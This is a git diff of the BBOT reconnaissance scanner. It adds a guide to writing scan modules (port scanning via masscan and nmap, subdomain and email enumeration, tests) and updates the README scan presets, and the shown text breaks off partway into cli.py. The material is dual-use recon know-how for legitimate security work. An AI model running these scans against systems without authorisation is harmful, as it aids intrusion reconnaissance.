+    produced_events = ["EMAIL_ADDRESS"]
+    flags = ["passive", "email-enum"]
+    meta = {
+        "description": "Query example.com for email addresses",
+        "created_date": "2025-01-01",
+        "author": "@you",
+    }
+
+    async def handle_event(self, event):
+        url = f"https://api.example.com/lookup?domain={event.data}"
+        r = await self.helpers.request(url)
+        if r and r.status_code == 200:
+            for email in r.json().get("emails", []):
+                await self.emit_event(
+                    email,
+                    "EMAIL_ADDRESS",
+                    parent=event,
+                    context=f"{{module}} queried example.com and found {{event.type}}: {{event.data}}",
+                )
+```
+
+And its test:
+
+```python
+from .base import ModuleTestBase
+
+
+class TestMyModule(ModuleTestBase):
+    async def setup_after_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="https://api.example.com/lookup?domain=blacklanternsecurity.com",
+            json={"emails": ["info@blacklanternsecurity.com"]},
+        )
+
+    def check(self, module_test, events):
+        assert any(
+            e.data == "info@blacklanternsecurity.com" and e.type == "EMAIL_ADDRESS"
+            for e in events
+        ), "Failed to find email"
+```
+
+### Module Lifecycle
+
+```
+setup()  -->  handle_event() (called many times)  -->  finish()  -->  report()  -->  cleanup()
+```
+
+1. **`setup()`** - one-time initialization (validate config, download data, check API keys)
+2. **`handle_event(event)`** - called for each matching event
+3. **`finish()`** - called when the scan is finishing; can still emit events
+4. **`report()`** - called once after finish; for summary output
+5. **`cleanup()`** - called last; close files, delete temp data; **cannot** emit events
+
+---
+
+### Module Attributes Reference
+
+#### Event Configuration
+
+##### `watched_events` (list)
+Event types this module wants to process. The module's `handle_event()` is only called for these types.
+
+```python
+# sslcert.py - watches for open ports to grab SSL certs from
+watched_events = ["OPEN_TCP_PORT"]
+
+# newsletters.py - watches HTTP responses to scan HTML
+watched_events = ["HTTP_RESPONSE"]
+
+# json.py (output module) - watches everything
+watched_events = ["*"]
+```
+
+##### `produced_events` (list)
+Event types this module may emit. Used for dependency resolution and documentation.
+
+```python
+# sslcert.py - can discover hostnames and emails from certificates
+produced_events = ["DNS_NAME", "EMAIL_ADDRESS"]
+
+# portscan.py - finds open ports
+produced_events = ["OPEN_TCP_PORT"]
+```
+
+##### `flags` (list)
+Tags that describe the module's behavior. Must include at least one activity flag (`passive` or `active`). Must also include `safe`, `loud`, or `invasive` (or a combination of `loud` and `invasive`).
+
+Common flags:
+- `passive` / `active` - whether the module touches the target directly
+- `safe` - non-intrusive and non-destructive
+- `loud` - generates a large amount of network traffic
+- `invasive` - intrusive or potentially destructive
+- `subdomain-enum` - participates in subdomain enumeration
+- `web` - basic web scanning
+- `email-enum` - email discovery
+
+```python
+# crt.py - queries a third-party API, never touches the target
+flags = ["subdomain-enum", "passive"]
+
+# sslcert.py - connects directly to target ports
+flags = ["affiliates", "subdomain-enum", "email-enum", "active", "web"]
+```
+
+##### `meta` (dict)
+Module metadata. Must include `description`, `created_date`, and `author`. Set `auth_required: True` if the module needs an API key.
+
+```python
+meta = {
+    "description": "Query crt.sh (certificate transparency) for subdomains",
+    "created_date": "2022-05-13",
+    "author": "@TheTechromancer",
+}
+
+# For API-key modules:
+meta = {"description": "Query API for subdomains", "auth_required": True}
+```
+
+---
+
+#### Options
+
+##### `options` / `options_desc` (dict)
+User-configurable settings. Access them via `self.config.get("option_name")`.
+
+```python
+# robots.py - configurable parsing options
+options = {"include_sitemap": False, "include_allow": True, "include_disallow": True}
+options_desc = {
+    "include_sitemap": "Include 'sitemap' entries",
+    "include_allow": "Include 'Allow' Entries",
+    "include_disallow": "Include 'Disallow' Entries",
+}
+
+# In handle_event():
+if self.config.get("include_sitemap") is True:
+    ...
+```
+
+```python
+# sslcert.py - timeout and behavior options
+options = {"timeout": 5.0, "skip_non_ssl": True}
+options_desc = {"timeout": "Socket connect timeout in seconds", "skip_non_ssl": "Don't try common non-SSL ports"}
+```
+
+---
+
+#### Scope & Filtering
+
+##### `scope_distance_modifier` (int or None) -- default: `0`
+Controls which events the module accepts based on how far they are from the target.
+
+- `0` (default) - accept events up to the scan's configured search distance
+- `1` - accept events up to search distance + 1
+- `None` - accept all events regardless of distance
+
+```python
+# sslcert.py - looks one hop beyond normal scope, because certificate names
+# found on in-scope hosts often reveal related infrastructure
+scope_distance_modifier = 1
+```
+
+##### `in_scope_only` (bool) -- default: `False`
+Only accept events that are explicitly in-scope (distance == 0). More restrictive than `scope_distance_modifier = 0`.
+
+```python
+# robots.py - only fetch robots.txt for in-scope hosts
+in_scope_only = True
+```
+
+##### `target_only` (bool) -- default: `False`
+Only accept the initial target/seed events. Useful for modules that should only run once against the original targets.
+
+##### `accept_seeds` (bool) -- default: `True` for passive, `False` for active
+Whether to process seed events (the initial targets provided to the scan).
+
+##### `accept_url_special` (bool) -- default: `False`
+Whether to accept "special" URLs (e.g. JavaScript files) that are not normally distributed to web modules.
+
+```python
+# http.py - needs to process all URLs including special ones
+accept_url_special = True
+```
+
+---
+
+#### Deduplication
+
+##### `accept_dupes` (bool) -- default: `False`
+Whether to accept the same event more than once. Most modules should leave this `False`.
+
+```python
+# Output modules set this True because they need to see every event
+accept_dupes = True
+```
+
+##### `suppress_dupes` (bool) -- default: `True`
+Whether to suppress duplicate *outgoing* events. Prevents the same event from being emitted twice.
+
+##### `per_host_only` (bool) -- default: `False`
+Only process one event per unique host. After processing `1.2.3.4`, skip any future events for `1.2.3.4`.
+
+##### `per_hostport_only` (bool) -- default: `False`
+Only process one event per unique host:port combination.
+
+```python
+# robots.py - only fetch robots.txt once per host:port
+per_hostport_only = True
+```
+
+##### `per_domain_only` (bool) -- default: `False`
+Only process one event per unique root domain. After processing `www.example.com`, skip `api.example.com`.
+
+```python
+# emailformat.py - one API query per domain is enough
+per_domain_only = True
+```
+
+##### `_incoming_dedup_hash(self, event)` -- override for custom dedup
+Override this to define custom deduplication logic. Return a hash (int) or `(hash, reason_string)`.
+
+```python
+# securitytxt.py - dedupe by parent domain so we only check security.txt once
+# per parent domain, not once per subdomain
+def _incoming_dedup_hash(self, event):
+    parent_domain = self.helpers.parent_domain(event.data)
+    return hash(parent_domain), "already processed parent domain"
+```
+
+```python
+# subdomain_enum.py template - dedupe by highest or lowest parent domain
+def _incoming_dedup_hash(self, event):
+    return hash(self.make_query(event)), f"dedup_strategy={self.dedup_strategy}"
+```
+
+---
+
+#### Concurrency & Batching
+
+##### `_module_threads` (int) -- default: `1`
+How many `handle_event()` calls can run concurrently. Increase this for I/O-bound modules.
+
+```python
+# sslcert.py - connects to many hosts in parallel
+_module_threads = 25
+```
+
+##### `_batch_size` (int) -- default: `1`
+When > 1, events are collected into batches and passed to `handle_batch(*events)` instead of `handle_event()`. Useful for tools that work better with bulk input.
+
+```python
+# portscan.py - masscan is most efficient with all targets at once
+batch_size = 1000000
+
+async def handle_batch(self, *events):
+    targets, correlator = await self.make_targets(events, self.syn_scanned)
+    async for ip, port, parent_event in self.masscan(targets, correlator):
+        await self.emit_open_port(ip, port, parent_event)
+```
+
+##### `_shuffle_incoming_queue` (bool) -- default: `True`
+Whether to randomize the order of incoming events. Set to `False` when order matters.
+
+```python
+# portscan.py - processes all events together, order doesn't matter but
+# we disable shuffle because batch_size is huge
+_shuffle_incoming_queue = False
+```
+
+---
+
+#### Dependencies
+
+##### `deps_pip` (list)
+Python packages to install.
+
+```python
+# sslcert.py
+deps_pip = ["pyOpenSSL~=25.3.0"]
+```
+
+##### `deps_apt` (list)
+System packages to install.
+
+```python
+# sslcert.py
+deps_apt = ["openssl"]
+```
+
+##### `deps_modules` (list)
+Other BBOT modules that must be enabled for this module to work.
+
+##### `deps_shell` (list)
+Shell commands to run for installation (uses Ansible's `shell` module).
+
+##### `deps_ansible` (list)
+Ansible tasks for complex dependency installation (downloading binaries, etc.).
+
+```python
+# fingerprintx.py - downloads a Go binary
+deps_ansible = [
+    {
+        "name": "Download fingerprintx",
+        "unarchive": {
+            "src": "https://github.com/.../fingerprintx_{version}_{platform}_{arch}.tar.gz",
+            "include": "fingerprintx",
+            "dest": "#{BBOT_TOOLS}",
+            "remote_src": True,
+        },
+    },
+]
+```
+
+---
+
+#### Priority & Queue
+
+##### `_priority` (int) -- default: `3`
+Module priority from 1 (highest) to 5 (lowest). Lower-priority modules get events first.
+
+```python
+# sslcert.py - runs early because other modules depend on the hostnames it discovers
+_priority = 2
+```
+
+##### `_qsize` (int) -- default: `1000`
+Outgoing event queue size. A smaller queue creates backpressure that helps with rate limiting.
+
+```python
+# subdomain_enum.py template - small queue to combat API rate limiting
+_qsize = 10
+```
+
+##### `_preserve_graph` (bool) -- default: `False`
+Accept duplicate events that are needed for complete event chain construction. Only used by output modules.
+
+```python
+# json.py - needs complete event chains for accurate output
+_preserve_graph = True
+```
+
+##### `_stats_exclude` (bool) -- default: `False`
+Exclude this module from scan statistics. Used by output and report modules.
+
+##### `_disable_auto_module_deps` (bool) -- default: `False`
+Prevent BBOT from automatically enabling dependency modules. For example, if your module watches `URL` events, BBOT normally auto-enables `http`. Set this to `True` to prevent that.
+
+---
+
+### Key Methods
+
+#### `handle_event(self, event)` -- the core method
+
+Called once for each matching event. This is where your module does its work.
+
+```python
+# robots.py - fetch and parse robots.txt
+async def handle_event(self, event):
+    host = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/"
+    url = f"{host}robots.txt"
+    result = await self.helpers.request(url)
+    if result:
+        body = result.text
+        if body:
+            for line in body.split("\n"):
+                if line.startswith("Disallow:"):
+                    path = line.split(": ", 1)[1].lstrip("/")
+                    await self.emit_event(
+                        f"{host}{path}",
+                        "URL_UNVERIFIED",
+                        parent=event,
+                        tags=["spider-danger"],
+                    )
+```
+
+#### `handle_batch(self, *events)` -- bulk processing
+
+Used when `_batch_size > 1`. Receives multiple events at once.
+
+```python
+# portscan.py - bulk port scanning with masscan
+async def handle_batch(self, *events):
+    targets, correlator = await self.make_targets(events, self.syn_scanned)
+    async for ip, port, parent_event in self.masscan(targets, correlator):
+        await self.emit_open_port(ip, port, parent_event)
+```
+
+#### `filter_event(self, event)` -- custom event filtering
+
+Called before `handle_event()`. Return `True` to accept, `False` to reject, or `(False, "reason")` to reject with a logged reason.
+
+```python
+# sslcert.py - skip ports that don't typically use SSL
+async def filter_event(self, event):
+    if self.skip_non_ssl and event.port in self.non_ssl_ports:
+        return False, f"Port {event.port} doesn't typically use SSL"
+    return True
+```
+
+```python
+# subdomain_enum.py template - reject wildcards and cloud resources
+async def filter_event(self, event):
+    query = self.make_query(event)
+    is_wildcard = await self._is_wildcard(query)
+    if self.reject_wildcards and is_wildcard:
+        return False, "Event is a wildcard domain"
+    return True, ""
+```
+
+#### `setup(self)` -- one-time initialization
+
+Return values:
+- `True` -- success
+- `(True, "message")` -- success with message
+- `None` or `(None, "message")` -- **soft fail**: module is disabled, scan continues
+- `False` or `(False, "message")` -- **hard fail**: scan aborts
+
+```python
+# portscan.py - validates config, checks masscan, checks IPv6 support
+async def setup(self):
+    self.top_ports = self.config.get("top_ports", 100)
+    self.rate = self.config.get("rate", 300)
+    self.ports = self.config.get("ports", "")
+    if self.ports:
+        try:
+            self.helpers.parse_port_string(self.ports)
+        except ValueError as e:
+            return False, f"Error parsing ports '{self.ports}': {e}"
+    # ...
+    return True
+```
+
+```python
+# subdomain_enum_apikey template - soft-fail if API key is missing
+async def setup(self):
+    await super().setup()
+    return await self.require_api_key()
+    # Returns (None, "No API key set") if missing, disabling the module
+```
+
+#### `finish(self)` -- called when scan is finishing
+
+Can still emit events. May be called multiple times if new activity is detected.
+
+#### `report(self)` -- summary output
+
+Called once after `finish()`. Use for generating tables or summary data.
+
+```python
+# asn.py - output ASN statistics
+async def report(self):
+    self.log_table(table_data, headers=["ASN", "Subnet", "Count"], table_name="asns")
+```
+
+#### `cleanup(self)` -- resource cleanup
+
+Called once at the very end. Close files, delete temp files. **Cannot emit events.**
+
+```python
+# json.py
+async def cleanup(self):
+    if getattr(self, "_file", None) is not None:
+        with suppress(Exception):
+            self.file.close()
+```
+
+```python
+# portscan.py
+async def cleanup(self):
+    with suppress(Exception):
+        self.exclude_file.unlink()
+```
+
+---
+
+### Emitting Events
+
+#### `emit_event(data, event_type, parent, **kwargs)`
+
+Creates and queues an event for processing by other modules.
+
+```python
+# Simple string event
+await self.emit_event("sub.example.com", "DNS_NAME", parent=event)
+
+# With context (used for discovery chain documentation)
+await self.emit_event(
+    "sub.example.com",
+    "DNS_NAME",
+    parent=event,
+    context=f"{{module}} queried crt.sh and found {{event.type}}: {{event.data}}",
+)
+
+# With tags
+await self.emit_event(url, "URL_UNVERIFIED", parent=event, tags=["spider-danger"])
+
+# FINDING event (dict data)
+await self.emit_event(
+    {
+        "host": str(event.host),
+        "description": "Found something interesting",
+        "url": event.data["url"],
+        "severity": "HIGH",
+    },
+    "FINDING",
+    parent=event,
+)
+```
+
+#### `make_event(data, event_type, parent, **kwargs)`
+
+Creates an event without emitting it. Useful when you need to inspect or modify it first.
+
+```python
+ssl_event = self.make_event(hostname, "DNS_NAME", parent=event, raise_error=True)
+if ssl_event:
+    await self.emit_event(ssl_event, tags=["affiliate"])
+```
+
+---
+
+### API Helpers
+
+#### `api_request(url, **kwargs)`
+
+HTTP request with automatic retry, rate-limit handling (429), API key cycling, and failure tracking. After too many failures, the module enters error state.
+
+```python
+r = await self.api_request("https://api.example.com/search?q=test")
+if r and r.status_code == 200:
+    data = r.json()
+```
+
+#### `require_api_key()`
+
+Validates that an API key is configured. Call in `setup()`.
+
+```python
+async def setup(self):
+    return await self.require_api_key()
+```
+
+#### `api_page_iter(url, page_size=100, **kwargs)`
+
+Async generator for paginated API results. URL can contain `{page}`, `{page_size}`, and `{offset}` placeholders.
+
+```python
+async for page in self.api_page_iter(
+    "https://api.example.com/search?q=test&page={page}&limit={page_size}"
+):
+    if not page.get("results"):
+        break
+    for result in page["results"]:
+        await self.emit_event(result["hostname"], "DNS_NAME", parent=event)
+```
+
+---
+
+### Running External Processes
+
+```python
+# Run a command and get the result
+result = await self.run_process(["nmap", "-p", "22,80", target])
+if result.returncode == 0:
+    output = result.stdout
+
+# Stream output line-by-line (for long-running tools)
+async for line in self.run_process_live(["masscan", "-oJ", "-", ...]):
+    data = json.loads(line)
+```
+
+---
+
+### Logging
+
+```python
+self.debug("Low-level detail")        # only visible with -d flag
+self.verbose("Useful but not critical") # visible with -v flag
+self.info("Standard info")
+self.success("Something good happened") # green
+self.warning("Something concerning")    # orange
+self.error("Something failed")          # red
+
+# "Huge" variants: entire line in bold color
+self.hugesuccess("Major discovery!")
+self.hugewarning("Major concern!")
+```
+
+---
+
+### Templates
+
+For common patterns, inherit from a template instead of `BaseModule` directly. Templates live in `bbot/modules/templates/`:
+
+- **`subdomain_enum`** - passive subdomain enumeration via free API. Handles dedup, wildcard rejection, query building.
+- **`subdomain_enum_apikey`** - same as above but requires an API key.
+- **`shodan`** - Shodan API integration.
+- **`github`** - GitHub API integration.
+- **`censys`** - Censys API integration.
+- **`bucket`** - Cloud storage bucket enumeration.
+- **`webhook`** - Webhook output.
+
+Example: `crt.py` inherits from `subdomain_enum` and only needs to override the request/parse logic:
+
+```python
+from bbot.modules.templates.subdomain_enum import subdomain_enum
+
+
+class crt(subdomain_enum):
+    flags = ["subdomain-enum", "passive"]
+    watched_events = ["DNS_NAME"]
+    produced_events = ["DNS_NAME"]
+    meta = {
+        "description": "Query crt.sh (certificate transparency) for subdomains",
+        "created_date": "2022-05-13",
+        "author": "@TheTechromancer",
+    }
+    base_url = "https://crt.sh"
+
+    async def request_url(self, query):
+        params = {"q": f"%.{query}", "output": "json"}
+        url = self.helpers.add_get_params(self.base_url, params).geturl()
+        return await self.api_request(url, timeout=self.http_timeout + 30)
+
+    async def parse_results(self, r, query):
+        results = set()
+        for cert_info in r.json():
+            domain = cert_info.get("name_value")
+            if domain:
+                for d in domain.splitlines():
+                    results.add(d.lower())
+        return results
+```
+
+---
+
+### Module Types
+
+#### Scan Modules (default)
+Normal modules that watch events and produce new ones. This is what you'll write 95% of the time.
+
+#### Output Modules
+Inherit from `BaseOutputModule`. Receive all events and write them somewhere.
+
+```python
+from bbot.modules.output.base import BaseOutputModule
+
+class my_output(BaseOutputModule):
+    watched_events = ["*"]
+    meta = {"description": "Custom output"}
+    _preserve_graph = True  # maintain complete event chains
+
+    async def handle_event(self, event):
+        # write event to file, database, API, etc.
+        ...
+```
+
+Output modules automatically get:
+- `accept_dupes = True`
+- `scope_distance_modifier = None` (see all events)
+- `_stats_exclude = True`
+
+#### Internal Modules
+Inherit from `BaseInternalModule`. System-level modules that aren't exposed to users.
+
+#### Intercept Modules
+Inherit from `BaseInterceptModule`. Special high-priority modules that can modify or reject events before they reach normal modules. Used for DNS resolution, cloud detection, etc. You probably don't need to write one.
+
+---
+
+### Writing Tests
+
+Every module needs a test in `bbot/test/test_step_2/module_tests/`. The test file must be named `test_module_<name>.py`.
+
+Test classes inherit from `ModuleTestBase` and follow this pattern:
+
+```python
+from .base import ModuleTestBase
+
+
+class TestMyModule(ModuleTestBase):
+    # Optional: override targets (default: ["blacklanternsecurity.com"])
+    targets = ["http://127.0.0.1:8888"]
+
+    # Optional: override which modules are enabled
+    modules_overrides = ["http", "my_module"]
+
+    # Optional: override config
+    config_overrides = {"modules": {"my_module": {"some_option": True}}}
+
+    async def setup_before_prep(self, module_test):
+        """Called BEFORE the scan is prepared. Set up HTTP mocks here."""
+        pass
+
+    async def setup_after_prep(self, module_test):
+        """Called AFTER the scan is prepared. Modify modules, add mocks here."""
+        # Mock an HTTP response
+        module_test.blasthttp_mock.add_response(
+            url="https://api.example.com/lookup?domain=blacklanternsecurity.com",
+            json={"results": ["sub.blacklanternsecurity.com"]},
+        )
+
+        # Mock DNS
+        await module_test.mock_dns({
+            "blacklanternsecurity.com": {"A": ["127.0.0.88"]},
+        })
+
+        # Mock an HTTP server response
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/robots.txt"},
+            respond_args={"response_data": "Disallow: /secret/"},
+        )
+
+    def check(self, module_test, events):
+        """Verify the scan produced the expected events."""
+        assert any(
+            e.data == "sub.blacklanternsecurity.com" and e.type == "DNS_NAME"
+            for e in events
+        ), "Failed to find subdomain"
+```
+
+The test lifecycle runs:
+1. `setup_before_prep()` - set up mocks
+2. Scan `_prep()` - loads modules, config
+3. `setup_after_prep()` - modify scan state
+4. Scan runs and collects events
+5. `check()` - your assertions
+
+### Test Utilities
+
+- **`module_test.blasthttp_mock`** - mock HTTP responses 
+- **`module_test.httpserver`** - real HTTP server on port 8888
+- **`module_test.httpserver_ssl`** - real HTTPS server on port 9999
+- **`module_test.mock_dns(data)`** - mock DNS responses
+- **`module_test.mock_interactsh(name)`** - mock out-of-band interactions
+- **`module_test.module`** - reference to the module instance being tested
+- **`module_test.scan`** - reference to the Scanner instance
+
+Real example -- `test_module_robots.py`:
+
+```python
+class TestRobots(ModuleTestBase):
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "robots"]
+    config_overrides = {"modules": {"robots": {"include_sitemap": True}}}
+
+    async def setup_after_prep(self, module_test):
+        robots = "Allow: /allow/\nDisallow: /disallow/\nSitemap: http://127.0.0.1:8888/sitemap.txt"
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/robots.txt"},
+            respond_args={"response_data": robots},
+        )
+
+    def check(self, module_test, events):
+        assert any(e.data == "http://127.0.0.1:8888/allow/" for e in events)
+        assert any(e.data == "http://127.0.0.1:8888/disallow/" for e in events)
+        assert any(e.data == "http://127.0.0.1:8888/sitemap.txt" for e in events)
+```
diff --git a/CLAUDE.md b/CLAUDE.md
new file mode 100644
index 0000000000..ec23a777d5
--- /dev/null
+++ b/CLAUDE.md
@@ -0,0 +1 @@
+Treat @AGENTS.md the same way you'd treat CLAUDE.md.
\ No newline at end of file
diff --git a/CONTRIBUTIONS.md b/CONTRIBUTIONS.md
new file mode 100644
index 0000000000..b7155f5318
--- /dev/null
+++ b/CONTRIBUTIONS.md
@@ -0,0 +1,5 @@
+# Contributing to BBOT
+
+See our full contribution guide at:
+
+**https://www.blacklanternsecurity.com/bbot/Stable/contribution/**
diff --git a/README.md b/README.md
index 0070ae52f2..192ddbedf2 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 [![bbot_banner](https://github.com/user-attachments/assets/f02804ce-9478-4f1e-ac4d-9cf5620a3214)](https://github.com/blacklanternsecurity/bbot)
 
-[![Python Version](https://img.shields.io/badge/python-3.10+-FF8400)](https://www.python.org) [![License](https://img.shields.io/badge/license-AGPLv3-FF8400.svg)](https://github.com/blacklanternsecurity/bbot/blob/dev/LICENSE) [![DEF CON Recon Village 2024](https://img.shields.io/badge/DEF%20CON%20Demo%20Labs-2023-FF8400.svg)](https://www.reconvillage.org/talks) [![PyPi Downloads](https://static.pepy.tech/personalized-badge/bbot?right_color=orange&left_color=grey)](https://pepy.tech/project/bbot) [![Ruff](https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/ruff/main/assets/badge/v2.json)](https://github.com/astral-sh/ruff) [![Tests](https://github.com/blacklanternsecurity/bbot/actions/workflows/tests.yml/badge.svg?branch=stable)](https://github.com/blacklanternsecurity/bbot/actions?query=workflow%3A"tests") [![Codecov](https://codecov.io/gh/blacklanternsecurity/bbot/branch/dev/graph/badge.svg?token=IR5AZBDM5K)](https://codecov.io/gh/blacklanternsecurity/bbot) [![Discord](https://img.shields.io/discord/859164869970362439)](https://discord.com/invite/PZqkgxu5SA)
+[![Python Version](https://img.shields.io/badge/python-3.10+-FF8400)](https://www.python.org) [![License](https://img.shields.io/badge/license-AGPLv3-FF8400.svg)](https://github.com/blacklanternsecurity/bbot/blob/dev/LICENSE) [![PyPi Downloads](https://static.pepy.tech/personalized-badge/bbot?right_color=orange&left_color=grey)](https://pepy.tech/project/bbot) [![Ruff](https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/ruff/main/assets/badge/v2.json)](https://github.com/astral-sh/ruff) [![Tests](https://github.com/blacklanternsecurity/bbot/actions/workflows/tests.yml/badge.svg?branch=stable)](https://github.com/blacklanternsecurity/bbot/actions?query=workflow%3A"tests") [![Codecov](https://codecov.io/gh/blacklanternsecurity/bbot/branch/dev/graph/badge.svg?token=IR5AZBDM5K)](https://codecov.io/gh/blacklanternsecurity/bbot) [![Discord](https://img.shields.io/discord/859164869970362439)](https://discord.com/invite/PZqkgxu5SA)
 
 ### **BEE·bot** is a multipurpose scanner inspired by [Spiderfoot](https://github.com/smicallef/spiderfoot), built to automate your **Recon**, **Bug Bounties**, and **ASM**!
 
@@ -20,6 +20,10 @@ pipx install --pip-args '\--pre' bbot
 
 _For more installation methods, including [Docker](https://hub.docker.com/r/blacklanternsecurity/bbot), see [Getting Started](https://www.blacklanternsecurity.com/bbot/Stable/)_
 
+> **Upgrading from 2.x?** BBOT 3.0 contains breaking changes to the CLI, presets, modules, events, and Python API. See the [2.x → 3.0 Migration Guide](https://www.blacklanternsecurity.com/bbot/Stable/migration/3.0_breaking_changes/) ([source](docs/migration/3.0_breaking_changes.md)) before upgrading.
+
+> **Speed tip:** BBOT's DNS resolver ([blastdns](https://github.com/blacklanternsecurity/blastdns)) spins up multiple threads per resolver in `/etc/resolv.conf`. Adding more unfiltered resolvers dramatically speeds up scans. See the [sample resolv.conf](docs/data/resolv-sample.conf) and [Tips and Tricks](https://www.blacklanternsecurity.com/bbot/Stable/scanning/tips_and_tricks/#speed-up-scans-with-more-dns-resolvers) for details.
+
 ## Example Commands
 
 ### 1) Subdomain Finder
@@ -69,7 +73,7 @@ config:
 
 <!-- END BBOT SUBDOMAIN-ENUM PRESET EXPANDABLE -->
 
-BBOT consistently finds 20-50% more subdomains than other tools. The bigger the domain, the bigger the difference. To learn how this is possible, see [How It Works](https://www.blacklanternsecurity.com/bbot/Dev/how_it_works/).
+BBOT consistently finds 20-50% more subdomains than other tools. The bigger the domain, the bigger the difference. To learn how this is possible, see [How It Works](https://www.blacklanternsecurity.com/bbot/Stable/how_it_works/).
 
 ![subdomain-stats-ebay](https://github.com/blacklanternsecurity/bbot/assets/20261699/de3e7f21-6f52-4ac4-8eab-367296cd385f)
 
@@ -89,7 +93,7 @@ bbot -t evilcorp.com -p spider
 description: Recursive web spider
 
 modules:
-  - httpx
+  - http
 
 blacklist:
   # Prevent spider from invalidating sessions by logging out
@@ -144,16 +148,16 @@ output_modules:
 
 ```bash
 # run a light web scan against www.evilcorp.com
-bbot -t www.evilcorp.com -p web-basic
+bbot -t www.evilcorp.com -p web
 
 # run a heavy web scan against www.evilcorp.com
-bbot -t www.evilcorp.com -p web-thorough
+bbot -t www.evilcorp.com -p web-heavy
 ```
 
-<!-- BBOT WEB-BASIC PRESET EXPANDABLE -->
+<!-- BBOT WEB PRESET EXPANDABLE -->
 
 <details>
-<summary><b><code>web-basic.yml</code></b></summary>
+<summary><b><code>web.yml</code></b></summary>
 
 ```yaml
 description: Quick web scan
@@ -162,43 +166,43 @@ include:
   - iis-shortnames
 
 flags:
-  - web-basic
+  - web
 
 ```
 
 </details>
 
-<!-- END BBOT WEB-BASIC PRESET EXPANDABLE -->
+<!-- END BBOT WEB PRESET EXPANDABLE -->
 
-<!-- BBOT WEB-THOROUGH PRESET EXPANDABLE -->
+<!-- BBOT WEB-HEAVY PRESET EXPANDABLE -->
 
 <details>
-<summary><b><code>web-thorough.yml</code></b></summary>
+<summary><b><code>web-heavy.yml</code></b></summary>
 
 ```yaml
 description: Aggressive web scan
 
 include:
-  # include the web-basic preset
-  - web-basic
+  # include the web preset
+  - web
 
 flags:
-  - web-thorough
+  - web-heavy
 
 ```
 
 </details>
 
-<!-- END BBOT WEB-THOROUGH PRESET EXPANDABLE -->
+<!-- END BBOT WEB-HEAVY PRESET EXPANDABLE -->
 
 ### 5) Everything Everywhere All at Once
 
 ```bash
 # everything everywhere all at once
-bbot -t evilcorp.com -p kitchen-sink --allow-deadly
+bbot -t evilcorp.com -p kitchen-sink
 
 # roughly equivalent to:
-bbot -t evilcorp.com -p subdomain-enum cloud-enum code-enum email-enum spider web-basic paramminer dirbust-light web-screenshots --allow-deadly
+bbot -t evilcorp.com -p subdomain-enum cloud-enum code-enum email-enum spider web paramminer dirbust-light web-screenshots
 ```
 
 <!-- BBOT KITCHEN-SINK PRESET EXPANDABLE -->
@@ -215,16 +219,26 @@ include:
   - code-enum
   - email-enum
   - spider
-  - web-basic
+  - web
   - paramminer
   - dirbust-light
   - web-screenshots
-  - baddns-intense
+  - baddns-heavy
 
 config:
   modules:
     baddns:
       enable_references: True
+    dnsbrute:
+      recursive_mutations: true
+    dnscommonsrv:
+      recursive_mutations: true
+    webbrute:
+      avoid_wafs: False
+    wayback:
+      urls: True
+      parameters: True
+      archive: True
 
 ```
 
@@ -382,8 +396,11 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl
     - **Modules**
         - [List of Modules](https://www.blacklanternsecurity.com/bbot/Stable/modules/list_of_modules)
         - [Nuclei](https://www.blacklanternsecurity.com/bbot/Stable/modules/nuclei)
+        - [Wayback](https://www.blacklanternsecurity.com/bbot/Stable/modules/wayback)
         - [Custom YARA Rules](https://www.blacklanternsecurity.com/bbot/Stable/modules/custom_yara_rules)
         - [Lightfuzz](https://www.blacklanternsecurity.com/bbot/Stable/modules/lightfuzz)
+    - **Migration**
+        - [2.x → 3.0 Breaking Changes](https://www.blacklanternsecurity.com/bbot/Stable/migration/3.0_breaking_changes)
     - **Misc**
         - [Contribution](https://www.blacklanternsecurity.com/bbot/Stable/contribution)
         - [Release History](https://www.blacklanternsecurity.com/bbot/Stable/release_history)
@@ -391,8 +408,10 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl
 - **Developer Manual**
     - [Development Overview](https://www.blacklanternsecurity.com/bbot/Stable/dev/)
     - [Setting Up a Dev Environment](https://www.blacklanternsecurity.com/bbot/Stable/dev/dev_environment)
+    - [Core Dependencies](https://www.blacklanternsecurity.com/bbot/Stable/dev/core_dependencies)
     - [BBOT Internal Architecture](https://www.blacklanternsecurity.com/bbot/Stable/dev/architecture)
     - [How to Write a BBOT Module](https://www.blacklanternsecurity.com/bbot/Stable/dev/module_howto)
+    - [Validating & Inspecting Presets](https://www.blacklanternsecurity.com/bbot/Stable/dev/preset_validation)
     - [Unit Tests](https://www.blacklanternsecurity.com/bbot/Stable/dev/tests)
     - [Discord Bot Example](https://www.blacklanternsecurity.com/bbot/Stable/dev/discord_bot)
     - **Code Reference**
@@ -402,7 +421,6 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl
         - [Target](https://www.blacklanternsecurity.com/bbot/Stable/dev/target)
         - [BaseModule](https://www.blacklanternsecurity.com/bbot/Stable/dev/basemodule)
         - [BBOTCore](https://www.blacklanternsecurity.com/bbot/Stable/dev/core)
-        - [Engine](https://www.blacklanternsecurity.com/bbot/Stable/dev/engine)
         - **Helpers**
             - [Overview](https://www.blacklanternsecurity.com/bbot/Stable/dev/helpers/)
             - [Command](https://www.blacklanternsecurity.com/bbot/Stable/dev/helpers/command)
diff --git a/bbot/__init__.py b/bbot/__init__.py
index 914c45ff4b..1a7242313c 100644
--- a/bbot/__init__.py
+++ b/bbot/__init__.py
@@ -1,6 +1,6 @@
-# version placeholder (replaced by poetry-dynamic-versioning)
-__version__ = "v0.0.0"
+from importlib.metadata import version, PackageNotFoundError
 
-from .scanner import Scanner, Preset
-
-__all__ = ["Scanner", "Preset"]
+try:
+    __version__ = version("bbot")
+except PackageNotFoundError:
+    __version__ = "0.0.0"
diff --git a/bbot/cli.py b/bbot/cli.py
index 6f88447e1a..72a457d2b7 100755
--- a/bbot/cli.py
+++ b/bbot/cli.py
@@ -1,26 +1,33 @@
 #!/usr/bin/env python3
 
 import io
+import os
 import sys
 import logging
 import multiprocessing
 from bbot.errors import *
 from bbot import __version__
